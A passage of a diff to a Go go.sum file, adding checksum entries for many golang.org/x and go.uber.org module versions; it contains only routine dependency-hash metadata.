h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/multierr v1.8.0/go.mod h1:7EAYxJLBy9rStEaz58O2t4Uvip6FSURkq8/ppBp95ak= go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= +go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= +go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw= +golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= +golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= +golang.org/x/arch v0.4.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE= golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= +golang.org/x/crypto v0.0.0-20210314154223-e6e6c4f2bb5b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20220314234659-1baeb1ce4c0b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw= +golang.org/x/crypto v0.5.0/go.mod h1:NK/OQwhpMQP3MwtdjgLlYHnH9ebylxKWv3e0fK+mkQU= +golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= +golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= +golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= +golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= +golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= +golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= +golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190125153040-c74c464bbbf2/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191002040644-a1355ae1e2c3/go.mod h1:NOZ3BPKG0ec/BKJQgnvsSFpcKLM5xXVWnvZS97DWHgE= golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= +golang.org/x/exp v0.0.0-20220827204233-334a2380cb91/go.mod h1:cyybsKvd6eL0RnXn6p/Grxp8F5bW7iYuBgsNCOHpMYE= +golang.org/x/image v0.0.0-20180708004352-c73c2afc3b81/go.mod h1:ux5Hcp/YLpHSI86hEcLt0YII63i6oz57MZXIpbrjZUs= golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20190910094157-69e4b8554b2a/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20200430140353-33d19683fad8/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20200618115811-c13761719519/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20210216034530-4410531fe030/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20210607152325-775e3b0c77b9/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= +golang.org/x/image v0.0.0-20210628002857-a66eb6448b8d/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= +golang.org/x/image v0.0.0-20211028202545-6944b10bf410/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= +golang.org/x/image v0.0.0-20220302094943-723b81ca9867/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= @@ -559,6 +1732,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= @@ -567,15 +1742,30 @@ golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzB golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= +golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= +golang.org/x/mod v0.6.0-dev.0.20220106191415-9b9b3d81d5e3/go.mod h1:3p9vT2HGsQu2K1YbXdKPJLVgG5VJdoTa1poYQBtP1AY= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.6.0/go.mod h1:4mET923SAdbXp2ki8ey+zGs1SLqsuM2Y0uvdZR/fUNI= +golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.9.0 h1:KENHtAZL2y3NLMYZeHY9DW8HW8V+kQyJsY/V9JlKvCs= golang.org/x/mod v0.9.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk= +golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190327091125-710a502c58a2/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= @@ -586,6 +1776,7 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -596,13 +1787,51 @@ golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/ golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= +golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= +golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= +golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= +golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220607020251-c690dde0001d/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220617184016-355a448f1bc9/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220624214902-1bab6f366d9e/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= +golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= +golang.org/x/net v0.3.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= +golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= +golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= +golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= +golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= @@ -610,7 +1839,32 @@ golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4Iltr golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220608161450-d0670ef3b1eb/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= +golang.org/x/oauth2 v0.0.0-20220622183110-fd043fe589d2/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= +golang.org/x/oauth2 v0.0.0-20220822191816-0ebed06d0094/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 